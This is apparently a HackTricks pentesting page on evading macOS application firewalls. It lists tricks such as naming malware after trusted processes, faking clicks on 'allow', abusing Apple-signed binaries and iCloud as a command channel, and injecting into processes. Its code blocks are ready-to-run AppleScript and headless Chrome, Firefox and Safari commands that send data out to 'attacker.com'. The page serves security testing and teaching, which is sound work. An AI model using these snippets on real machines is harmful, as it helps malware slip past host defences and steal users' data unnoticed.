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108 lines
5.2 KiB
Markdown
108 lines
5.2 KiB
Markdown
# macOS Bypassing Firewalls
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Found techniques
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The following techniques were found working in some macOS firewall apps.
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### Abusing whitelist names
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* For example calling the malware with names of well known macOS processes like **`launchd`** 
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### Synthetic Click
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* If the firewall ask for permission to the user make the malware **click on allow**
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### **Use Apple signed binaries**
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* Like **`curl`**, but also others like **`whois`**
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### Well known apple domains
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The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
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### Generic Bypass
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Some ideas to try to bypass firewalls
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### Check allowed traffic
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Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
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```bash
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lsof -i TCP -sTCP:ESTABLISHED
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```
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### Abusing DNS
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DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
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<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
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### Via Browser apps
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* **oascript**
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```applescript
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tell application "Safari"
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run
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tell application "Finder" to set visible of process "Safari" to false
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make new document
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set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
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end tell
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```
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* Google Chrome
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{% code overflow="wrap" %}
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```bash
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"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
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```
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{% endcode %}
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* Firefox
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```bash
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firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
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```
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* Safari
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```bash
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open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
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```
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### Via processes injections
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If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
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{% content-ref url="macos-proces-abuse/" %}
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[macos-proces-abuse](macos-proces-abuse/)
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{% endcontent-ref %}
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## References
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* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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